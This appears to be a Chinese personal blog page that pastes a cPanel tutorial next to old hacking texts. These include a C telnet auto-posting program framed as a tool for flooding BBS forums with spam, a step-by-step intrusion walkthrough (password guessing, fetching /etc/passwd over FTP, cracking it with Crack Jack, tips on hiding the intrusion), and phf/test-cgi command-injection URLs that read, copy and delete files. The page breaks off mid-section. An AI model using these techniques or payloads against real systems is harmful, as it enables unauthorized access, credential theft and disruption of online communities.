|
用户名:E路天下 笔名:E路天下 地区: 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
CPANEL(控制面板)图文教程
CP(空间控制面板)设置使用方法 Cpanel X 使用说明--------------
在浏览器地址栏输入 http://你申请的域名/cpanel
然后在弹出的登陆框中填入你的用户名和密码 
就可以进入Cpanel X的管理面板了 
虽然进入后界面里的选项很多,但是真正要使用到的只有下面几个 
更改密码:按图示修改就可以了 
管理MySql数据库: 
如何使用phpMyAdmin来管理MySql数据库
在MySql数据库管理最下面就可以看到了 
虽然进入phpMyAdmin后是纯英文的界面
但是只要按着图示来改 
就变成简体中文的界面了
如果是繁体中文的用户,请选上面的 (zh-tw) 那一项
以下二张图是中英文对照与介绍使用功能
==========新增加教材=============































附加二个cp的中英文对照表:

BBS的无敌杀手
大家想一下,如果把这个expliot放在一台Server上,在向一个BBS论坛上发垃圾帖子,几秒中一个论坛就会被上百个垃圾帖子贴满.用户也无法浏览了...下面这段代码有点象,但需要改.我可不干,实在...实在...太.那个了
【 原文由 Happy 所发表 】
/* 这是一个向bbs自动发文章的程序,它可以把硬盘上的一篇文章发到bbs server的 */
/* 某个版中,适合于网络速度慢的情况下发表文章,减少等待时间 */
/* 只是本程序依赖于具体的上站按键序列,自然要因bbs server的不同和你在 */
/* bbs server上的ID的不同而加以修改 */
/* 另外下面的字符 ^W的输入方法如下: 左手按住Ctrl键不放,右手先按V,再按W */
/* ^P的输入方法相同. 为了不影响我发这篇文章,我把它们都改成了两个字符,即 */
/* ^W改为^和W,^P改为^和P,编译之前需要改回来 */
/* 不要把本程序用来干坏事,那不是本人所希望看到的 */
/* 作者: Netguy 1998.1.3 */
/* 本程序适用于UNIX系统,编译方法为: */
/* Linux: cc -lbsd -o post post.c */
/* SunOS: cc -lsocket -lnsl -lucb -o post post.c */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define N 26
#define M 5
#define BOARD 19
#define TITLE 23
#define SIZE 1024
#define TRUE -1
#define FALSE 0
#define NUM_OF_BOARD 105
char *boardName[NUM_OF_BOARD]={
"211", /* 1 */
"Campus", /* 2 */
"Education", /* 3 */
"Endusers", /* 4 */
"Schools", /* 5 */
"Student", /* 6 */
"Tsinghua", /* 7 */
"UESTC", /* 8 */
"Office12", /* 9 */
"Office11", /* 10 */
"Office13", /* 11 */
"Office9", /* 12 */
"Office5", /* 13 */
"Office6", /* 14 */
"Office4", /* 15 */
"Office2", /* 16 */
"Office15", /* 17 */
"Office10", /* 18 */
"Office1", /* 19 */
"Office17", /* 20 */
"Office16", /* 21 */
"Office8", /* 22 */
"Office3", /* 23 */
"Office14", /* 24 */
"AR", /* 25 */
"Chemistry", /* 26 */
"CS", /* 27 */
"EE", /* 28 */
"Graduate", /* 29 */
"Material", /* 30 */
"MBA", /* 31 */
"Office7", /* 32 */
"PPCenter", /* 33 */
"Transportation", /* 34 */
"3com", /* 35 */
"AIX", /* 36 */
"IBMNetwork", /* 37 */
"IntelNetwork", /* 38 */
"Modem", /* 39 */
"Netscape", /* 40 */
"Oracle", /* 41 */
"Router", /* 42 */
"Solaris", /* 43 */
"Sybase", /* 44 */
"Telecom", /* 45 */
"3D", /* 46 */
"Browser", /* 47 */
"CAD", /* 48 */
"Database", /* 49 */
"Freeware", /* 50 */
"Game", /* 51 */
"Hacker", /* 52 */
"Hardware", /* 53 */
"iNet", /* 54 */
"JAVA", /* 55 */
"MultiMedia", /* 56 */
"NetSoftware", /* 57 */
"NetTech", /* 58 */
"NT", /* 59 */
"OS2", /* 60 */
"Programming", /* 61 */
"Unix", /* 62 */
"Virus", /* 63 */
"Visual", /* 64 */
"Windows", /* 65 */
"Astrology", /* 66 */
"Automobile", /* 67 */
"Chess", /* 68 */
"Connoisseur", /* 69 */
"Economy", /* 70 */
"Feelings", /* 71 */
"Film", /* 72 */
"Friend", /* 73 */
"Gathering", /* 74 */
"IQ_park", /* 75 */
"Joke", /* 76 */
"Life", /* 77 */
"Memory", /* 78 */
"Military", /* 79 */
"Photography", /* 80 */
"Tour", /* 81 */
"Digest", /* 82 */
"Emprise", /* 83 */
"Literature", /* 84 */
"Music", /* 85 */
"Poetry", /* 86 */
"Reading", /* 87 */
"Story", /* 88 */
"Badminton", /* 89 */
"Basketball", /* 90 */
"Football", /* 91 */
"Health", /* 92 */
"Ping-pong", /* 93 */
"Sports", /* 94 */
"Tennis", /* 95 */
"Progwork", /* 96 */
"TipWorld", /* 97 */
"English", /* 98 */
"Mathematics", /* 99 */
"Phylosophy", /* 100 */
"Physics", /* 101 */
"Advice", /* 102 */
"Help", /* 103 */
"sysop", /* 104 */
"Test" /* 105 */
};
/* 下面的字符串就是你自己上bbs站时的按键序列,需要修改以符合自己的情况 */
/* 左边的一列是server传过来的,右边的一列是需要自己从键盘输入的 */
char command1[ N ][80]={
"login:", "bbs\r\n", /* 以bbs登录 */
"):", "yourID\r\n", /* 自己的bbs ID */
":", "passWord\r\n", /* 密码 */
"", "\r\n", /* server要你按回车键*/
" ..", "\r\n", /*按任何键继续.. */
" ..", "\r\n", /*按任何键继续.. */
" ..", "\r\n", /*按任何键继续.. */
"G)oodBye", "e\r\n", /*主菜单下按e键 */
"E)xit", "b\r\n", /*分类讨论区菜单下按b*/
"[h]", ",", /* 版名 */
"[h]", "^P", /* 按^P发文章 */
"]", " ", /* 文章题目 */
"T", "\r\n" /*确定 */
};
/* 下面的字符是文章输入完之后的情况 */
/* 左边的一列是需要自己从键盘输入的,右边的一列是server传过来的 */
char command2[ M ][20]={
"^W", "]:", /*文章输完后按Ctrl-W存盘*/
"s\r\n", "[h]", /*按s转信 */
"!\r\n" /*旋风离站 */
};
int sockfd=-1; /*管套描述符 */
void waitString(char *string); /*等待一个特定字符串 */
unsigned char receiveChar(void) //从socket读取server发来的一个字节
{ char tmp;
if(read(sockfd,& tmp,1)<=0 ) { printf("read socket error.\n"); exit(-1);}
return tmp;
}
void sendChar(char ch) //从socket向server发送一个字节
{
if( write(sockfd,& ch,1)<0 ) { printf("write socket error.\n"); exit(-1); }
}
void sendString(char p[]) //从socket向server发送一个字符串
{
if(write(sockfd,p,strlen(p))<0) { printf("write socket error.\n"); exit(-1); };
}
void killHandle(void) //信号处理函数
{
close(sockfd);
exit(0);
}
/*===========================================================================*/
main(int argc,char **argv)
{
struct sockaddr_in host;
struct hostent *hp;
int commandCounter;
int status;
int f,k;
char fileBuf[SIZE];
if( argc<4) { printf("Usage: %s fileName boardName title\n",argv[0]);
exit(0);
}
f=open(argv[1],O_RDONLY); /*打开本地磁盘文件 */
if( f< 0) { printf("open file error\n"); exit(-1); }
for(k=0; k< NUM_OF_BOARD; k++)
{
if( strcmp(argv[2],boardName[k])==0)
{ sprintf(& (command1[BOARD][0]),"%d\r\n\r\n",k+1);
break;
}
}
if(k>=NUM_OF_BOARD) { printf("Bad boardName: %s\n",argv[2]);
exit(0);
}
strcpy(& (command1[TITLE][0]),argv[3]);
strcat(& (command1[TITLE][0]),"\r\n");
signal(SIGTERM,killHandle); /* 设回调函数 */
signal(SIGINT,killHandle);
hp = gethostbyname("bbs.gznet.edu.cn"); /* bbs服务器的名字 */
if(hp==NULL) { printf("Unkonwn host\n"); exit(-1); }
bzero((char *)& host,sizeof(host));
bcopy(hp->h_addr,(char *)& host.sin_addr,hp->h_length);
host.sin_family=AF_INET;
host.sin_port=htons(23); /*telnet标准端口 */
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0))<0 ) /* 阻塞式socket */
{ printf(" Error open socket\n");
exit(-1);
}
status=connect(sockfd,(struct sockaddr *)& host,sizeof(host));/*连接*/
if(status<0) { printf("Connect error\n"); exit(-1); }
for(commandCounter=0; commandCounter< N; ) /*登录进bbs站 */
{ waitString( command1[commandCounter ++] );
sendString( command1[commandCounter ++] );
}
while( (status=read(f,fileBuf,SIZE) )>0 ) /*把文件内容发往bbs */
{ for(k=0; k< status; k++)
{ write(sockfd,&(fileBuf[k]),1);
if( fileBuf[k]==0x0A ) write(sockfd,"\0x0D",1);
}
}
sleep(1);
close(f);
for(commandCounter=0; commandCounter< M -1; ) /* 存盘离站 */
{ sendString( command2[ commandCounter ++] );
waitString( command2[ commandCounter ++ ]);
}
sendString(command2[M-1] );
sleep(1);
close(sockfd);
printf("\npost ok.\n");
}
/*===========================================================================*/
void waitString( char *string) /*从server发来的字节流中匹配特定串,找到就返回 */
{
int m,n;
int len;
char equal;
char term[]="dumb"; /* 终端类型: 哑终端 */
int status;
struct timeval timeout;
struct fd_set mask;
unsigned char c,cmd,opt;
len=strlen(string); /* 欲匹配的串的长度 */
m=0; /* 串中的当前匹配位置 */
equal=FALSE; /* 布尔变量 */
for(;;)
{ n=read(sockfd,& c,1); /* 读取一个字节 */
if( n<=0 ) { printf("socket read error.\n"); exit(-1); }
if (c == 255) // IAC字符,后跟telnet命令和协商选项
{
cmd = receiveChar(); //读入命令
opt = receiveChar(); //读入选项
switch(opt) {
case 1: // echo协商选项,本程序未处理
break;
case 3: // supress go-ahead(抑制向前选项)
break;
case 24: // terminal type(终端类型选项)
if (cmd == 253) {
// IAC WILL terminal-type 将告诉server终端类型
sendChar((char)255);
sendChar((char)251);
sendChar((char)24);
// IAC SB terminal-type IS IAC SE
sendChar((char)255); //传送终端类型字符串
sendChar((char)250);
sendChar((char)24);
sendChar((char)0);
sendString(term);
sendChar((char)255);
sendChar((char)240);
}
else if (cmd == 250) { //SB和SE要配对出现
while(receiveChar() != 240)
;
}
break;
default: // some other command1
if (cmd == 253) {
// IAC DONT whatever
sendChar((char)255); //其它的协商选项均不同意
sendChar((char)252);
sendChar((char)opt);
}
}
}
else //处理字符数据
{ putchar(c);
if( *(string+m)==c ) { m++; equal=TRUE; } //相等则匹配下一字符
else { m=0; equal=FALSE; }//不等则从头再来
if(equal==TRUE && m>=len) return; //找到期待的字符串就返回
}
}
}
如何破解系统(1)
这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!
#1 甚麽是 Hacking ?
就是入侵电脑! 有甚麽好解释的! 大部份有关介绍 Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人... 破坏... 唉! 一大堆怪解释就是了, 最好不要成为一个 "骇客", 我... 不是!
#2 为甚麽要 Hack ?
我们只是为了要了解更多关於系统的技术, 入侵它, 了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作 !! 为了安全性而作革命!
#3 Hack 守则
1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.
恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !!
2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.
3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友.
4. 不要在 bbs 上谈论你 Hack 的任何事情.
5. 在 Post 文章的时候不要使用真名.
6. 正在入侵的时候, 不要随意离开你的电脑.
7. 不要侵入或破坏政府机关的主机.
8. 不在电话中谈论你 Hack 的任何事情.
9. 将你的笔记放在安全的地方.
10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!
11. 已侵入电脑中的帐号不得清除或修改.
12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !!
13. 不将你已破解的帐号分享与你的朋友.
#4 破解之道
1. 进入主机中
2. 得到 /etc/passwd
3. 得到系统帐号
4. 得到最高权限
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
How 1.
进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25)或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能同时进行多项服务, 所以如果你只是要 "进入" 该主机, 这些 Port 都是很好的进行方向. 当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麽??? 我不知道, 你知道吗?!
底下的示范并不是像写出来的那麽容易, 只不过是要让你了解如何进入, 当然其中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了面子.... 一定要删掉这些不堪入目的东西嘛...
示范进入主机的方法: (By CoolFire)
(首先要先连上某一台你已经有帐号的 Telnet 主机, 当然最好是假的, 也就是 Crack过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在)
Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0
(我用的是 ms.hinet.net ... 当然是假的罗, 都已经经过修改了啦 !!没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名称, 请同学们要记得 !!)
Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是......)
ms.hinet.net> telnet www.fuckyou.hinet.net (Telnet 试试看....)
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(没关系, 再来 !!)
cool login: hinet
Password:
Login incorrect
cool login:
(都没猜对, 这边用的是 猜 的方法, 今天运气好像不好)
telnet> close
Connection closed.
(重来, 换个 Port 试试看 !!)
ms.hinet.net> telnet 111.222.255.255 80
Trying 111.222.255.255...
Connected to 111.222.255.255.
Escape character is '^]'.
<HTML>
<HEAD>
<TITLE>Error</TITLE>
</HEAD>
<BODY>
<H1>Error 400</H1>
Invalid request "" (unknown method)
<P><HR><ADDRESS><A HREF="http://www.w3.org">CERN-HTTPD 3.0A</A></ADDRESS>
</BODY>
</HTML>
Connection closed by foreign host.
(哇哩 !! 连密码都没得输入, 真是..... 再来 !! 要有恒心 !!)
(换 FTP Port 试试)
ms.hinet.net> ftp 111.222.255.255
Connected to 111.222.255.255.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (111.222.255.255:FakeName): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user! This is an experimental FTP server. If have any
230-unusual problems, please report them via e-mail to root@cool.com
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
(哇 ! 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 !
不要留下足迹喔!!)
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
usr
bin
lib
incoming
welcome.msg
226 Transfer complete.
(嗯嗯... 太好了 ! 进来了 !! 下一个目标是.....)
ftp> cd etc
250 CWD command successful.
ftp> get passwd (抓回来 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)
(喔... 这麽容易吗??)
ftp> !cat passwd (看看 !!!)
root::0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
ftp:*:404:1::/home/ftp:/bin/bash
(哇哩... 是 Shadow 的... 真是出师不利.... )
ftp> bye
221 Goodbye.
(不信邪.... 还是老话, 要有恒心....)
(FTP 不行, 再 Telnet 看看 !!)
ms.hinet.net> telnet www.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
(又猜错 !!)
cool login: fuckyou
Password:
Last login: Mon Dec 2 09:20:07 from 205.11.122.12
Linux 1.2.13.
Some programming languages manage to absorb change but withstand
progress.
cool:~$
(哇哈哈 !! 哪个笨 root, 用 system name 作 username 连
password 也是 system name.... 总算... 没白玩...)
cool:~$ system
bash: system: command not found
(嗯... 这个 user 的权限好像不大....)
cool:~$ ls
cool:~$ pwd
/home/fuckyou
cool:~$ cd /
cool:/$ ls
Public/ cdrom/ lib/ mnt/ tmp/ www/
README dev/ linux* proc/ usr/
bin/ etc/ local/ root/ var/
boot/ home/ lost+found/ sbin/
cool:/$ cd etc
telnet> quit
(好想睡呀 !! 不玩了 !! 下节课再开始....)
Connection closed.
ms.hinet.net> exit
(走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!)
(有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ???
看看这节课上的是甚麽??? ---->进入主机 !! 嗯.....)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
How 2.
上节课抓回来一个 "乱七八糟" 的 /etc/passwd, 你以为我的真那麽笨吗?? guest 所抓回来的能是甚麽好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经 "猜" 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧!!
Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.0.0
Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)
(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是.....呵...)
ms.hinet.net> telnet cool.fuckyou.hinet.net (Telnet 试试看.... 昨天的位址,
有作笔记吧!)
stsvr.showtower.com.tw> telnet cool.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
cool login: fuckyou
Password: (一样输入 fuckyou)
Last login: Mon Dec 1 12:44:10 from ms.hinet.net
Linux 1.2.13.
cool:~$ cd /etc
cool:/etc$ ls
DIR_COLORS ftpusers localtime resolv.conf
HOSTNAME gateways magic rpc
NETWORKING group mail.rc securetty
NNTP_INEWS_DOMAIN host.conf motd sendmail.cf
X11@ hosts messages/ sendmail.st
XF86Config hosts.allow mtab services
at.deny hosts.deny mtools shells
bootptab hosts.equiv named.boot shutdownp
csh.cshrc hosts.lpd networks snoopy/
csh.login httpd.conf nntpserver slip.hosts
exports inetd.conf passwd snooptab
fastboot inittab passwd.OLD syslog.conf
fdprm issue passwd.old syslog.pid
fstab ld.so.cache printcap ttys
ftpaccess ld.so.conf profile utmp@
(找寻目标..... 太乱了 ! 懒得找, 再来 ....)
cool:/etc$ ls pa*
passwd passwd.OLD passwd.old
(果然在)
cool:/etc$ more passwd
(看看有没有 Shadow...)
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john
(正点 ! 一点都没有防备 !!)
cool:/etc$ exit
logout
(走了!.... 换 FTP 上场 !!)
Connection closed by foreign host.
ms.hinet.net> ftp www.fuckyou.hinet.net
Connected to cool.fuckyou.hinet.net.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (www.fuckyou.hinet.net:66126): fuckyou
331 Password required for fuckyou.
Password:
230 User fuckyou logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc
250 CWD command successful.
ftp> get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (350 bytes).
226 Transfer complete.
350 bytes received in 0.68 seconds (1.9 Kbytes/s)
ftp> !cat passwd
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john
(看看 ! 呵 ! 假不了 !!......)
ftp> bye
221 Goodbye.
ms.hinet.net> exit
(闪人罗 !! 下课 !!.... 喔慢点, 还有事要说明......)
passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课所看到的这个格式的 passwd 并不是真正的 passwd....
root::0:0:root:/root:/bin/bash
因为密码的部份没有东西.... 所以拿了也没有用 !! 但这一节课所拿到的东西呢,像是这样, 有几点需要说明的, 就是它究竟代表著甚麽???
john:234ab56:9999:13:John Smith:/home/john:/bin/sh
它以 ":" 分成几个栏位, 各栏位对照如下:
User Name: john
Password:234ab56
User No: 9999
Group No: 13
Real Name: John Smith
Home Dir: /home/john
Shell: /bin/sh
了了吧 ! 了了吧 ! 保留著你千辛万苦所拿到的 passwd, 咱们第三节课再来告诉各位如何使用 Crack Jack 把 passwd 解码.... 呵呵...
zzZZzZzz...
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996)
嗯... 该到第三课了 !! 累了的同学先去喝口水吧!
这一节课咱们来说说 Crack Jack ! 这可是个解读 /etc/passwd 的好工具喔,不要告诉我你习惯用Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4的怀抱, 但请先确定你所使用的是 Crack Jack 1.4, 你可以在 CoolFire 的 Hacker&Mailer Page
中拿到这个版本的 Crack Jack ! 这才是真正有用的版本, 速度... 对... 就是这点别人都比不上 !但还是要讲讲它的缺点... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个 DOS Mode 跑,它可是连理都不会理你的 !
OK! 现在切入正题 ! etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4前所需要的东西有这些 [1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix
系统中的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲... 呵 ClayMore 中有一份
DIC.TXT是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn! 1.0 里面也有, 听James说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用 Crack Jack 1.4
前需先确定你所使用的机器是 386 含以上 CPU 的 ! 然後最好有充足的记忆体 !!
开始 Jack 时只要敲入 JACK 即可, 它会问你 PW Name... 输入你的 passwd 档名,Dictionary
Name 输入你的字典档名, Jack 就会开始找了 ! 找到时会告诉你, 也会在 JACK.POT中写入它所找到的密码 !! 但... 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你
This is JackAss... 嗯...说脏话了 !! 因为使用 Jack 占用的时间实在太多,如果你中途想要停掉时只要按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能,中断时会自动存档为 RESTORE, 下次要继续这次的寻找只要输入 Jack -Restore:RESTORE 即可 !!
当然你也可以为你的 Restore 重新命名 ! Jack 也会找得到的 ... 如Renrestorerestore.HNT
之後要再寻找的时後就 Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的 Restore
前次所寻找的字串...继续帮你找下去....
字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附,或是找找其它的 Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来,
可能要有一点资料栏位及写程式的基础.
[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的 root 权限密码 ! Jack好正点呀 !!!所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧!!
------
最近比较没空了 ! 因为要赶其它的报告, Home Page 也没有太多时间整理,更别说是写这些说明了,但是太多网友需要, 我只好两肋插刀... 差点昨天就交不出报告了 !!如果你有兴趣写其它程式的中文说明, 请完成後寄一份给我, 我将它放在 Home Page 上面让其它人参考,当然你也可以给我你的使用心得, 让别人参考看看也行! 另外 CoolFire 目前准备收集一系列的System Hole List, 如果你在其它的站台有看到的, 请把它先 Cut 下来, Mail 一份给我 !这样我才能弄出一份更齐全的东西呀.... 还有... 在想弄个 Mail List... 唉.. 不想这麽多了! 有空再说吧!
再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (当然 高-Net 除外, 我恨死它了)... 请勿将这类技术使用於破坏上
(又.....如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!
浏览器攻击
在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了,phf是cgi script,很多站点都有这个大漏洞啦,使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
=haqr&Qemail=&Qnickname=&Qoffice_phone=
上面执行的命令是
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
2。有关test攻击
http://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答,本服务器的一些情况如:
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
好吧,让我们来点赶兴趣的
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
3。~的应用
~主要是用在很多的个人主页上的快捷目录的方法,如果我们使用这样的~
http://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦,在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
看到这个站点了吗,本站所在的这个站点就是用这种形式的,如果我们打入 本站所在的web地址/~bin
出现了什么,你看到了吗?然后...............注意请不要破坏
动态IP地址的捕获及应用
一、IP地址与IP地址的动态分配
1. IP地址基本概念
Internet依靠TCP/IP协议,在全球范围内实现不同硬件结构、不同操作系统、不同网络系统的互联。在Internet上,每一个节点都依靠唯一的IP地址互相区分和相互联系。IP地址是一个32位二进制数的地址,由4个8位字段组成,每个字段之间用点号隔开,用于标识TCP/IP宿主机。
每个IP地址都包含两部分:网络ID和主机ID。网络ID标识在同一个物理网络上的所有宿主机,主机ID标识该物理网络上的每一个宿主机,于是整个Internet上的每个计算机都依靠各自唯一的IP地址来标识。
IP地址构成了整个Internet的基础,它是如此重要,每一台联网的计算机无权自行设定IP地址,有一个统一的机构—IANA负责对申请的组织分配唯一的网络ID,而该组织可以对自己的网络中的每一个主机分配一个唯一的主机ID,正如一个单位无权决定自己在所属城市的街道名称和门牌号,但可以自主决定本单位内部的各个办公室编号一样。
2. 静态IP与动态IP
IP地址是一个32位二进制数的地址,理论上讲,有大约40亿(2的32次方)个可能的地址组合,这似乎是一个很大的地址空间。实际上,根据网络ID和主机ID的不同位数规则,可以将IP地址分为A(7位网络ID和24位主机ID)、B(14位网络ID和16位主机ID)、C(21位网络ID和8位主机ID)三类,由于历史原因和技术发展的差异,A类地址和B类地址几乎分配殆尽,目前能够供全球各国各组织分配的只有C类地址。所以说IP地址是一种非常重要的网络资源。
对于一个设立了因特网服务的组织机构,由于其主机对外开放了诸如WWW、FTP、E-mail等访问服务,通常要对外公布一个固定的IP地址,以方便用户访问。当然,数字IP不便记忆和识别,人们更习惯于通过域名来访问主机,而域名实际上仍然需要被域名服务器(DNS)翻译为IP地址。例如,你的主页地址是www.myhost.com,用户可以方便地记忆和使用,而域名服务器会将这个域名翻译为101.12.123.234,这才是你在网上的真正地址。
而对于大多数拨号上网的用户,由于其上网时间和空间的离散性,为每个用户分配一个固定的IP地址(静态IP)是非常不可取的,这将造成IP地址资源的极大浪费。因此这些用户通常会在每次拨通ISP的主机后,自动获得一个动态的IP地址,该地址当然不是任意的,而是该ISP申请的网络ID和主机ID的合法区间中的某个地址。拨号用户任意两次连接时的IP地址很可能不同,但是在每次连接时间内IP地址不变。
二、点对点TCP/IP连接
1. 点对点TCP/IP连接与IP地址
一个运行TCP/IP协议接入因特网的计算机必须拥有一个唯一的IP地址,才能与网上的其他计算机进行网络通讯。实际上,在任何时刻Internet连接都能由4个要素来描述:源IP 地址、源地址端口号、目的IP 地址和目的地址端口号。
2. 点对点TCP/IP连接的间接实现
